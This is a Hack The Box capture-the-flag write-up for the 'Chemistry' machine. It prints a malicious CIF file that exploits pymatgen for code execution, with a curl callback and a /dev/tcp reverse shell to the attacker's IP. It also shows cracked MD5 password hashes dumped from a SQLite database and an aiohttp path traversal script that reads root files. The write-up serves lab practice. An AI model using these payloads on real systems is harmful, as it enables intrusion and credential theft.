# HTB • CTF • Chemistry • Write-Up

> Hack The Box CTF - Chemistry. Pymatgen CIF parser RCE, Credentials from SQLite database, Python aiohttp app vulnerable to path traversal (CVE-2024-23334).

Author: Elnur Badalov
Published: 2024-11-07
Updated: 2025-05-21
Tags: ctf
Source: https://elnurbda.com/posts/35-htb-ctf-chemistry/
License: CC BY 4.0, please cite the source URL.

---

# INFO

CTF URL:<https://app.hackthebox.com/machines/Chemistry>

Machine Type: Linux

IP: 10.10.11.38

Difficulty: <span style="color: cyan;background:rgb(30, 44, 60);">`Easy`</span>

# Reconnaissance

## NMAP

```bash
sudo nmap -p- -sS -sC -sV 10.10.11.38 -v --min-rate 10000
# result
PORT     STATE SERVICE    VERSION
22/tcp   open  tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
5000/tcp open  tcpwrapped
```

## WEB

Some app at `http://10.10.11.38:5000/`, It allows Login and Register:

![_](/assets/35-htb-ctf-chemistry/web-app.png)

After Login we can upload `CIF` files

![_](/assets/35-htb-ctf-chemistry/web-app-upload.png)

The example: `http://10.10.11.38:5000/static/example.cif`

## CIF Parser is Vulnerable

References:

- <https://ethicalhacking.uk/cve-2024-23346-arbitrary-code-execution-in-pymatgen-via-insecure/#gsc.tab=0>
- <https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f>

There is a possibility that the web app is using a python library called `pymatgen` which is vulnerable to RCE.

### Simple check

Let's setup a listener and make the victim machine to make a curl request:

```cif
data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("curl http://10.10.14.30:1234");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
```

After uploading the CIF file and clicking **View**, we received a request.

```bash
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.11.38] 51202
GET / HTTP/1.1
Host: 10.10.14.30:1234
User-Agent: curl/7.68.0
Accept: */*
```

### Getting Shell

```cif
data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c 'sh -i >& /dev/tcp/10.10.14.30/1234 0>&1'");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
```

And we received the shell

```bash
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.11.38] 42230
sh: 0: can't access tty; job control turned off
$ whoami
app
```

# Enumeration

## Python App

In the `/home/app` we can see

```bash
$ ls
app.py
instance
linpeas.sh
pwned
static
templates
uploads
```

in `app.py` we can see some secret key and Database file

```python
...
app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}
...
```

## Database

DB file is under `instance`

```bash
ls instance
# result
database.db
```

Let's download it

```bash
python3 -m http.server
# then download it
```

Sqlite Database contains:

```sql
sqlite> SELECT name FROM sqlite_master WHERE type='table';
structure
user
sqlite> select * from structure;
1|15|a.cif|41113cee-b216-43d3-9ee6-0abd45ebdd1f
2|16|example.cif|7982a882-bcbf-4172-af04-9db08d42a34a
sqlite> select * from user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
15|elnur|ffc5407c2eb77247943c8c25369626f8
16|aman|ccda1683d8c97f8f2dff2ea7d649b42c
```

Those are md5 hashes

```md5
2861debaf8d99436a10ed6f75a252abf
197865e46b878d9e74a0346b6d59886a
63ed86ee9f624c7b14f1d4f43dc251a5
02fcf7cfc10adc37959fb21f06c6b467
3dec299e06f7ed187bac06bd3b670ab2
9ad48828b0955513f7cf0f7f6510c8f8
6845c17d298d95aa942127bdad2ceb9b
c3601ad2286a4293868ec2a4bc606ba3
a4aa55e816205dc0389591c9f82f43bb
6cad48078d0241cca9a7b322ecd073b3
4af70c80b68267012ecdac9a7e916d18
4e5d71f53fdd2eabdbabb233113b5dc0
9347f9724ca083b17e39555c36fd9007
6896ba7b11a62cacffbdaded457c6d92
ffc5407c2eb77247943c8c25369626f8
ccda1683d8c97f8f2dff2ea7d649b42c
```

Crackstation.net gives the following:

```md5
63ed86ee9f624c7b14f1d4f43dc251a5 md5 unicorniosrosados
9ad48828b0955513f7cf0f7f6510c8f8 md5 carlos123
6845c17d298d95aa942127bdad2ceb9b md5 peterparker
c3601ad2286a4293868ec2a4bc606ba3 md5 victoria123
ffc5407c2eb77247943c8c25369626f8 md5 elnur
ccda1683d8c97f8f2dff2ea7d649b42c md5 aman
```

## Another User

Another user called `rosa` in the `/home`.

```bash
ls -la /home
...
drwxr-xr-x  8 app  app  4096 Oct  9 20:18 app
drwxr-xr-x  5 rosa rosa 4096 Jun 17 01:51 rosa
```

We got rosa's password from previous step:

- `rosa:unicorniosrosados`

```bash
ssh rosa@10.10.11.38
# result
rosa@chemistry:~$ id
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)
```

`User.txt`

```bash
rosa@chemistry:~$ cat user.txt
c6d1d51406a13a0777aafec43b0e478f
```

# Getting Root.txt

## Local Service

There is an open port:

```bash
rosa@chemistry:~$ ss -tulpn
Netid          State           Recv-Q          Send-Q                    Local Address:Port                     Peer Address:Port          Process
udp            UNCONN          0               0                         127.0.0.53%lo:53                            0.0.0.0:*
udp            UNCONN          0               0                               0.0.0.0:68                            0.0.0.0:*
tcp            LISTEN          0               128                           127.0.0.1:8080                          0.0.0.0:*
tcp            LISTEN          0               4096                      127.0.0.53%lo:53                            0.0.0.0:*
tcp            LISTEN          0               128                             0.0.0.0:22                            0.0.0.0:*
tcp            LISTEN          0               128                             0.0.0.0:5000                          0.0.0.0:*
tcp            LISTEN          0               128                                [::]:22                               [::]:*
```

So, let's forward the port to our local machine:

```bash
ssh rosa@10.10.11.38 -L 8080:localhost:8080
```

We find a Management website:
![_](/assets/35-htb-ctf-chemistry/dashboard.png)
It allows showing services, but starting and stoping functionalities are not working.
In the remote server we can check that this service is python app located in `/opt` and works as a service:

```bash
rosa@chemistry:~$ ls -la /opt
...
drwx------  5 root root 4096 Oct  9 20:27 monitoring_site
# ---
rosa@chemistry:~$ ps aux | grep monitor
root        1084  0.0  1.7 336864 34648 ?        Ssl  00:07   0:09 /usr/bin/python3.9 /opt/monitoring_site/app.py
# ---
rosa@chemistry:~$ cat /etc/systemd/system/monitoring_site.service
[Unit]
Description=Monitoring Site
After=network.target

[Service]
User=app
WorkingDirectory=/opt/monitoring_site/
ExecStart=/usr/bin/python3.9 /opt/monitoring_site/app.py
User=root
Group=root
Restart=always

[Install]
WantedBy=multi-user.target
```

I tried to brute force for some endpoints on the app, but could not find anything useful.

If we verbosely curl the python app we can get the version.

```bash
curl 'http://localhost:8080' -v
* Host localhost:8080 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:8080...
* Connected to localhost (::1) port 8080
> GET / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 5971
< Date: Thu, 07 Nov 2024 13:17:21 GMT
< Server: Python/3.9 aiohttp/3.9.1
<
<!DOCTYPE html>
...
```

`Server: Python/3.9 aiohttp/3.9.1`

And fortunately, we have a CVE - `CVE-2024-23334` and exploit for it:

- <https://github.com/z3rObyte/CVE-2024-23334-PoC>

## Exploitation

Slightly modified version would be:

```bash
#!/bin/bash

url="http://localhost:8080"
string="../"
payload="/assets/" # assets is the existing folder in the app
file="root/root.txt" # without the first /

for ((i=0; i<15; i++)); do
    payload+="$string"
    echo "[+] Testing with $payload$file"
    status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
    echo -e "\tStatus code --> $status_code"

    if [[ $status_code -eq 200 ]]; then
        curl -s --path-as-is "$url$payload$file"
        break
    fi
done

```

The result:

```bash
bash exploit.sh
[+] Testing with /assets/../root/root.txt
        Status code --> 404
[+] Testing with /assets/../../root/root.txt
        Status code --> 404
[+] Testing with /assets/../../../root/root.txt
        Status code --> 200
79003590a00ccf022f73b91990ed2cb2
```

As a result we exploited **Path Traversal** vulnerability and read root flag.

# Result

- <https://www.hackthebox.com/achievement/machine/1349385/631>